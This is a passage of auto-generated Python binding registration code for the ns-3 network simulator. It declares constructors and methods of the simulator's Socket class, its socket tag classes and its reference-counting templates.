ns3::DefaultDeleter<ns3::Packet> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter< ns3::Packet > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3QueueItem_Ns3Empty_Ns3DefaultDeleter__lt__ns3QueueItem__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::SimpleRefCount(ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::QueueItem, ns3::empty, ns3::DefaultDeleter< ns3::QueueItem > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, cls): ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount() [constructor] cls.add_constructor([]) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::SimpleRefCount(ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > const & o) [copy constructor] cls.add_constructor([param('ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter< ns3::TraceSourceAccessor > > const &', 'o')]) ## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >::Cleanup() [member function] cls.add_method('Cleanup', 'void', [], is_static=True) return def register_Ns3Socket_methods(root_module, cls): ## socket.h (module 'network'): ns3::Socket::Socket(ns3::Socket const & arg0) [copy constructor] cls.add_constructor([param('ns3::Socket const &', 'arg0')]) ## socket.h (module 'network'): ns3::Socket::Socket() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): int ns3::Socket::Bind(ns3::Address const & address) [member function] cls.add_method('Bind', 'int', [param('ns3::Address const &', 'address')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::Bind() [member function] cls.add_method('Bind', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::Bind6() [member function] cls.add_method('Bind6', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::BindToNetDevice(ns3::Ptr<ns3::NetDevice> netdevice) [member function] cls.add_method('BindToNetDevice', 'void', [param('ns3::Ptr< ns3::NetDevice >', 'netdevice')], is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::Close() [member function] cls.add_method('Close', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::Connect(ns3::Address const & address) [member function] cls.add_method('Connect', 'int', [param('ns3::Address const &', 'address')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): static ns3::Ptr<ns3::Socket> ns3::Socket::CreateSocket(ns3::Ptr<ns3::Node> node, ns3::TypeId tid) [member function] cls.add_method('CreateSocket', 'ns3::Ptr< ns3::Socket >', [param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::TypeId', 'tid')], is_static=True) ## socket.h (module 'network'): bool ns3::Socket::GetAllowBroadcast() const [member function] cls.add_method('GetAllowBroadcast', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Socket::GetBoundNetDevice() [member function] cls.add_method('GetBoundNetDevice', 'ns3::Ptr< ns3::NetDevice >', []) ## socket.h (module 'network'): ns3::Socket::SocketErrno ns3::Socket::GetErrno() const [member function] cls.add_method('GetErrno', 'ns3::Socket::SocketErrno', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::Socket::GetIpTos() const [member function] cls.add_method('GetIpTos', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): uint8_t ns3::Socket::GetIpTtl() const [member function] cls.add_method('GetIpTtl', 'uint8_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::Socket::GetIpv6HopLimit() const [member function] cls.add_method('GetIpv6HopLimit', 'uint8_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::Socket::GetIpv6Tclass() const [member function] cls.add_method('GetIpv6Tclass', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): ns3::Ptr<ns3::Node> ns3::Socket::GetNode() const [member function] cls.add_method('GetNode', 'ns3::Ptr< ns3::Node >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::GetPeerName(ns3::Address & address) const [member function] cls.add_method('GetPeerName', 'int', [param('ns3::Address &', 'address')], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::Socket::GetPriority() const [member function] cls.add_method('GetPriority', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): uint32_t ns3::Socket::GetRxAvailable() const [member function] cls.add_method('GetRxAvailable', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::GetSockName(ns3::Address & address) const [member function] cls.add_method('GetSockName', 'int', [param('ns3::Address &', 'address')], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): ns3::Socket::SocketType ns3::Socket::GetSocketType() const [member function] cls.add_method('GetSocketType', 'ns3::Socket::SocketType', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::Socket::GetTxAvailable() const [member function] cls.add_method('GetTxAvailable', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## socket.h (module 'network'): static ns3::TypeId ns3::Socket::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): static uint8_t ns3::Socket::IpTos2Priority(uint8_t ipTos) [member function] cls.add_method('IpTos2Priority', 'uint8_t', [param('uint8_t', 'ipTos')], is_static=True) ## socket.h (module 'network'): void ns3::Socket::Ipv6JoinGroup(ns3::Ipv6Address address, ns3::Socket::Ipv6MulticastFilterMode filterMode, std::vector<ns3::Ipv6Address,std::allocator<ns3::Ipv6Address> > sourceAddresses) [member function] cls.add_method('Ipv6JoinGroup', 'void', [param('ns3::Ipv6Address', 'address'), param('ns3::Socket::Ipv6MulticastFilterMode', 'filterMode'), param('std::vector< ns3::Ipv6Address >', 'sourceAddresses')], is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::Ipv6JoinGroup(ns3::Ipv6Address address) [member function] cls.add_method('Ipv6JoinGroup', 'void', [param('ns3::Ipv6Address', 'address')], is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::Ipv6LeaveGroup() [member function] cls.add_method('Ipv6LeaveGroup', 'void', [], is_virtual=True) ## socket.h (module 'network'): bool ns3::Socket::IsIpRecvTos() const [member function] cls.add_method('IsIpRecvTos', 'bool', [], is_const=True) ## socket.h (module 'network'): bool ns3::Socket::IsIpRecvTtl() const [member function] cls.add_method('IsIpRecvTtl', 'bool', [], is_const=True) ## socket.h (module 'network'): bool ns3::Socket::IsIpv6RecvHopLimit() const [member function] cls.add_method('IsIpv6RecvHopLimit', 'bool', [], is_const=True) ## socket.h (module 'network'): bool ns3::Socket::IsIpv6RecvTclass() const [member function] cls.add_method('IsIpv6RecvTclass', 'bool', [], is_const=True) ## socket.h (module 'network'): bool ns3::Socket::IsRecvPktInfo() const [member function] cls.add_method('IsRecvPktInfo', 'bool', [], is_const=True) ## socket.h (module 'network'): int ns3::Socket::Listen() [member function] cls.add_method('Listen', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv(uint32_t maxSize, uint32_t flags) [member function] cls.add_method('Recv', 'ns3::Ptr< ns3::Packet >', [param('uint32_t', 'maxSize'), param('uint32_t', 'flags')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::Recv() [member function] cls.add_method('Recv', 'ns3::Ptr< ns3::Packet >', []) ## socket.h (module 'network'): int ns3::Socket::Recv(uint8_t * buf, uint32_t size, uint32_t flags) [member function] cls.add_method('Recv', 'int', [param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')]) ## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(uint32_t maxSize, uint32_t flags, ns3::Address & fromAddress) [member function] cls.add_method('RecvFrom', 'ns3::Ptr< ns3::Packet >', [param('uint32_t', 'maxSize'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Socket::RecvFrom(ns3::Address & fromAddress) [member function] cls.add_method('RecvFrom', 'ns3::Ptr< ns3::Packet >', [param('ns3::Address &', 'fromAddress')]) ## socket.h (module 'network'): int ns3::Socket::RecvFrom(uint8_t * buf, uint32_t size, uint32_t flags, ns3::Address & fromAddress) [member function] cls.add_method('RecvFrom', 'int', [param('uint8_t *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')]) ## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p, uint32_t flags) [member function] cls.add_method('Send', 'int', [param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::Send(ns3::Ptr<ns3::Packet> p) [member function] cls.add_method('Send', 'int', [param('ns3::Ptr< ns3::Packet >', 'p')]) ## socket.h (module 'network'): int ns3::Socket::Send(uint8_t const * buf, uint32_t size, uint32_t flags) [member function] cls.add_method('Send', 'int', [param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags')]) ## socket.h (module 'network'): int ns3::Socket::SendTo(ns3::Ptr<ns3::Packet> p, uint32_t flags, ns3::Address const & toAddress) [member function] cls.add_method('SendTo', 'int', [param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags'), param('ns3::Address const &', 'toAddress')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::SendTo(uint8_t const * buf, uint32_t size, uint32_t flags, ns3::Address const & address) [member function] cls.add_method('SendTo', 'int', [param('uint8_t const *', 'buf'), param('uint32_t', 'size'), param('uint32_t', 'flags'), param('ns3::Address const &', 'address')]) ## socket.h (module 'network'): void ns3::Socket::SetAcceptCallback(ns3::Callback<bool, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionRequest, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> newConnectionCreated) [member function] cls.add_method('SetAcceptCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionRequest'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'newConnectionCreated')]) ## socket.h (module 'network'): bool ns3::Socket::SetAllowBroadcast(bool allowBroadcast) [member function] cls.add_method('SetAllowBroadcast', 'bool', [param('bool', 'allowBroadcast')], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::SetCloseCallbacks(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> normalClose, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> errorClose) [member function] cls.add_method('SetCloseCallbacks', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'normalClose'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'errorClose')]) ## socket.h (module 'network'): void ns3::Socket::SetConnectCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionSucceeded, ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> connectionFailed) [member function] cls.add_method('SetConnectCallback', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionSucceeded'), param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'connectionFailed')]) ## socket.h (module 'network'): void ns3::Socket::SetDataSentCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> dataSent) [member function] cls.add_method('SetDataSentCallback', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'dataSent')]) ## socket.h (module 'network'): void ns3::Socket::SetIpRecvTos(bool ipv4RecvTos) [member function] cls.add_method('SetIpRecvTos', 'void', [param('bool', 'ipv4RecvTos')]) ## socket.h (module 'network'): void ns3::Socket::SetIpRecvTtl(bool ipv4RecvTtl) [member function] cls.add_method('SetIpRecvTtl', 'void', [param('bool', 'ipv4RecvTtl')]) ## socket.h (module 'network'): void ns3::Socket::SetIpTos(uint8_t ipTos) [member function] cls.add_method('SetIpTos', 'void', [param('uint8_t', 'ipTos')]) ## socket.h (module 'network'): void ns3::Socket::SetIpTtl(uint8_t ipTtl) [member function] cls.add_method('SetIpTtl', 'void', [param('uint8_t', 'ipTtl')], is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::SetIpv6HopLimit(uint8_t ipHopLimit) [member function] cls.add_method('SetIpv6HopLimit', 'void', [param('uint8_t', 'ipHopLimit')], is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::SetIpv6RecvHopLimit(bool ipv6RecvHopLimit) [member function] cls.add_method('SetIpv6RecvHopLimit', 'void', [param('bool', 'ipv6RecvHopLimit')]) ## socket.h (module 'network'): void ns3::Socket::SetIpv6RecvTclass(bool ipv6RecvTclass) [member function] cls.add_method('SetIpv6RecvTclass', 'void', [param('bool', 'ipv6RecvTclass')]) ## socket.h (module 'network'): void ns3::Socket::SetIpv6Tclass(int ipTclass) [member function] cls.add_method('SetIpv6Tclass', 'void', [param('int', 'ipTclass')]) ## socket.h (module 'network'): void ns3::Socket::SetPriority(uint8_t priority) [member function] cls.add_method('SetPriority', 'void', [param('uint8_t', 'priority')]) ## socket.h (module 'network'): void ns3::Socket::SetRecvCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> arg0) [member function] cls.add_method('SetRecvCallback', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'arg0')]) ## socket.h (module 'network'): void ns3::Socket::SetRecvPktInfo(bool flag) [member function] cls.add_method('SetRecvPktInfo', 'void', [param('bool', 'flag')]) ## socket.h (module 'network'): void ns3::Socket::SetSendCallback(ns3::Callback<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> sendCb) [member function] cls.add_method('SetSendCallback', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::Socket >, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'sendCb')]) ## socket.h (module 'network'): int ns3::Socket::ShutdownRecv() [member function] cls.add_method('ShutdownRecv', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): int ns3::Socket::ShutdownSend() [member function] cls.add_method('ShutdownSend', 'int', [], is_pure_virtual=True, is_virtual=True) ## socket.h (module 'network'): void ns3::Socket::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## socket.h (module 'network'): bool ns3::Socket::IsManualIpTtl() const [member function] cls.add_method('IsManualIpTtl', 'bool', [], is_const=True, visibility='protected') ## socket.h (module 'network'): bool ns3::Socket::IsManualIpv6HopLimit() const [member function] cls.add_method('IsManualIpv6HopLimit', 'bool', [], is_const=True, visibility='protected') ## socket.h (module 'network'): bool ns3::Socket::IsManualIpv6Tclass() const [member function] cls.add_method('IsManualIpv6Tclass', 'bool', [], is_const=True, visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyConnectionFailed() [member function] cls.add_method('NotifyConnectionFailed', 'void', [], visibility='protected') ## socket.h (module 'network'): bool ns3::Socket::NotifyConnectionRequest(ns3::Address const & from) [member function] cls.add_method('NotifyConnectionRequest', 'bool', [param('ns3::Address const &', 'from')], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyConnectionSucceeded() [member function] cls.add_method('NotifyConnectionSucceeded', 'void', [], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyDataRecv() [member function] cls.add_method('NotifyDataRecv', 'void', [], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyDataSent(uint32_t size) [member function] cls.add_method('NotifyDataSent', 'void', [param('uint32_t', 'size')], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyErrorClose() [member function] cls.add_method('NotifyErrorClose', 'void', [], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyNewConnectionCreated(ns3::Ptr<ns3::Socket> socket, ns3::Address const & from) [member function] cls.add_method('NotifyNewConnectionCreated', 'void', [param('ns3::Ptr< ns3::Socket >', 'socket'), param('ns3::Address const &', 'from')], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifyNormalClose() [member function] cls.add_method('NotifyNormalClose', 'void', [], visibility='protected') ## socket.h (module 'network'): void ns3::Socket::NotifySend(uint32_t spaceAvailable) [member function] cls.add_method('NotifySend', 'void', [param('uint32_t', 'spaceAvailable')], visibility='protected') return def register_Ns3SocketIpTosTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketIpTosTag::SocketIpTosTag(ns3::SocketIpTosTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketIpTosTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketIpTosTag::SocketIpTosTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketIpTosTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): ns3::TypeId ns3::SocketIpTosTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::SocketIpTosTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::SocketIpTosTag::GetTos() const [member function] cls.add_method('GetTos', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpTosTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): void ns3::SocketIpTosTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpTosTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpTosTag::SetTos(uint8_t tos) [member function] cls.add_method('SetTos', 'void', [param('uint8_t', 'tos')]) return def register_Ns3SocketIpTtlTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag(ns3::SocketIpTtlTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketIpTtlTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketIpTtlTag::SocketIpTtlTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketIpTtlTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): ns3::TypeId ns3::SocketIpTtlTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::SocketIpTtlTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::SocketIpTtlTag::GetTtl() const [member function] cls.add_method('GetTtl', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpTtlTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): void ns3::SocketIpTtlTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpTtlTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpTtlTag::SetTtl(uint8_t ttl) [member function] cls.add_method('SetTtl', 'void', [param('uint8_t', 'ttl')]) return def register_Ns3SocketIpv6HopLimitTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag::SocketIpv6HopLimitTag(ns3::SocketIpv6HopLimitTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketIpv6HopLimitTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag::SocketIpv6HopLimitTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::SocketIpv6HopLimitTag::GetHopLimit() const [member function] cls.add_method('GetHopLimit', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): ns3::TypeId ns3::SocketIpv6HopLimitTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::SocketIpv6HopLimitTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpv6HopLimitTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpv6HopLimitTag::SetHopLimit(uint8_t hopLimit) [member function] cls.add_method('SetHopLimit', 'void', [param('uint8_t', 'hopLimit')]) return def register_Ns3SocketIpv6TclassTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketIpv6TclassTag::SocketIpv6TclassTag(ns3::SocketIpv6TclassTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketIpv6TclassTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketIpv6TclassTag::SocketIpv6TclassTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): ns3::TypeId ns3::SocketIpv6TclassTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint32_t ns3::SocketIpv6TclassTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::SocketIpv6TclassTag::GetTclass() const [member function] cls.add_method('GetTclass', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketIpv6TclassTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketIpv6TclassTag::SetTclass(uint8_t tclass) [member function] cls.add_method('SetTclass', 'void', [param('uint8_t', 'tclass')]) return def register_Ns3SocketPriorityTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketPriorityTag::SocketPriorityTag(ns3::SocketPriorityTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketPriorityTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketPriorityTag::SocketPriorityTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketPriorityTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): ns3::TypeId ns3::SocketPriorityTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 'ns3::TypeId', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): uint8_t ns3::SocketPriorityTag::GetPriority() const [member function] cls.add_method('GetPriority', 'uint8_t', [], is_const=True) ## socket.h (module 'network'): uint32_t ns3::SocketPriorityTag::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True, is_virtual=True) ## socket.h (module 'network'): static ns3::TypeId ns3::SocketPriorityTag::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## socket.h (module 'network'): void ns3::SocketPriorityTag::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketPriorityTag::Serialize(ns3::TagBuffer i) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'i')], is_const=True, is_virtual=True) ## socket.h (module 'network'): void ns3::SocketPriorityTag::SetPriority(uint8_t priority) [member function] cls.add_method('SetPriority', 'void', [param('uint8_t', 'priority')]) return def register_Ns3SocketSetDontFragmentTag_methods(root_module, cls): ## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag(ns3::SocketSetDontFragmentTag const & arg0) [copy constructor] cls.add_constructor([param('ns3::SocketSetDontFragmentTag const &', 'arg0')]) ## socket.h (module 'network'): ns3::SocketSetDontFragmentTag::SocketSetDontFragmentTag() [constructor] cls.add_constructor([]) ## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Deserialize(ns3::TagBuffer i) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'i')], is_virtual=True) ## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Disable() [member function] cls.add_method('Disable', 'void', []) ## socket.h (module 'network'): void ns3::SocketSetDontFragmentTag::Enable() [member function] cls.add_method('Enable', 'void', []) ## socket.h (module 'network'): ns3::TypeId ns3::SocketSetDontFragmentTag::GetInstanceTypeId() const [member function] cls.add_method('GetInstanceTypeId', 